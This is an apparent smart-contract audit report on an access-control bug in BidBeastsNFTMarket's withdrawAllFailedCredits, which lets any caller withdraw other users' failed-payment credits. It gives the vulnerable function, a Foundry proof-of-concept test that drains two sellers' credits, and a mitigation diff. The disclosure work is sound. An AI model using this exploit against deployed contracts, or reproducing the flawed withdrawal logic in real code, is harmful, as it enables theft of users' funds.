BidBeastsNFTMarket:withdrawAllFailedCredits Function, Incorrect Logic Allows Anyone to Steal Funds
Description
• Under normal circumstances, all users (sellers, bidders, platform administrators) should be able to withdraw funds from their last failed payment via withdrawAllFailedCredits.
• However, due to flawed logic in withdrawAllFailedCredits, anyone can initiate the withdrawal process.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
• Any user can call the withdrawAllFailedCredits function.
• This unrestricted access can be immediately exploited by malicious users.
Impact:
• Users who experienced a failed withdrawal will quickly lose their funds.
• The overall value and credibility of the contract will be severely compromised.
Proof of Concept
• In the test folder, add BidBeastsMarketPlaceTestAccount.t.sol with the following code:
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract Seller_NoReceive is Ownable, IERC721Receiver{
BidBeasts nft;
BidBeastsNFTMarket market;
constructor(BidBeasts _nft, BidBeastsNFTMarket _market) payable Ownable(msg.sender){
nft = _nft;
market = _market;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function listNFT(uint256 _tokenId, uint256 _minPrice, uint256 _buyNowPrice) onlyOwner public {
require(nft.ownerOf(_tokenId) == address(this));
nft.approve(address(market), _tokenId);
market.listNFT(_tokenId, _minPrice, _buyNowPrice);
}
function takeHighestBid(uint256 _tokenId) onlyOwner public {
(address seller,,,,) = market.listings(_tokenId);
require(seller == address(this), "");
market.takeHighestBid(_tokenId);
}
}
• In BidBeastsMarketPlaceTest.t.sol, add the following test:
import {Seller_NoReceive} from "./BidBeastsMarketPlaceTestAccount.t.sol";
function test__withdrawAllFailedCredits() public {
address no_receive_seller_1 = makeAddr("no_receive_seller_1");
vm.deal(no_receive_seller_1, 1 ether);
vm.prank(no_receive_seller_1);
Seller_NoReceive no_receive_seller_1_contract = new Seller_NoReceive{value: 1 ether}(nft, market);
address no_receive_seller_2 = makeAddr("no_receive_seller_2");
vm.deal(no_receive_seller_2, 1 ether);
vm.prank(no_receive_seller_2);
Seller_NoReceive no_receive_seller_2_contract = new Seller_NoReceive{value: 1 ether}(nft, market);
vm.startPrank(OWNER);
uint256 tokenId_n_r_1 = nft.mint(address(no_receive_seller_1_contract));
uint256 tokenId_n_r_2 = nft.mint(address(no_receive_seller_2_contract));
vm.stopPrank();
vm.startPrank(no_receive_seller_1);
no_receive_seller_1_contract.listNFT(tokenId_n_r_1, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
vm.startPrank(no_receive_seller_2);
no_receive_seller_2_contract.listNFT(tokenId_n_r_2, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
console.log("192 address(market).balance = ", address(market).balance);
vm.prank(BIDDER_1);
market.placeBid{value: (MIN_PRICE + 1)}(tokenId_n_r_1);
vm.prank(BIDDER_2);
market.placeBid{value: (MIN_PRICE + 1)}(tokenId_n_r_2);
console.log("204 address(market).balance = ", address(market).balance);
vm.prank(no_receive_seller_1);
no_receive_seller_1_contract.takeHighestBid(tokenId_n_r_1);
vm.prank(no_receive_seller_2);
no_receive_seller_2_contract.takeHighestBid(tokenId_n_r_2);
console.log("214 address(anyone).balance = ", address(market).balance);
address anyone = makeAddr("anyone");
vm.startPrank(anyone);
market.withdrawAllFailedCredits(address(no_receive_seller_1_contract));
market.withdrawAllFailedCredits(address(no_receive_seller_2_contract));
vm.stopPrank();
vm.assertTrue(address(anyone).balance > 0);
}
Recommended Mitigation
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
+ require(_receiver != address(0), "can't withdraw to zero address");
failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}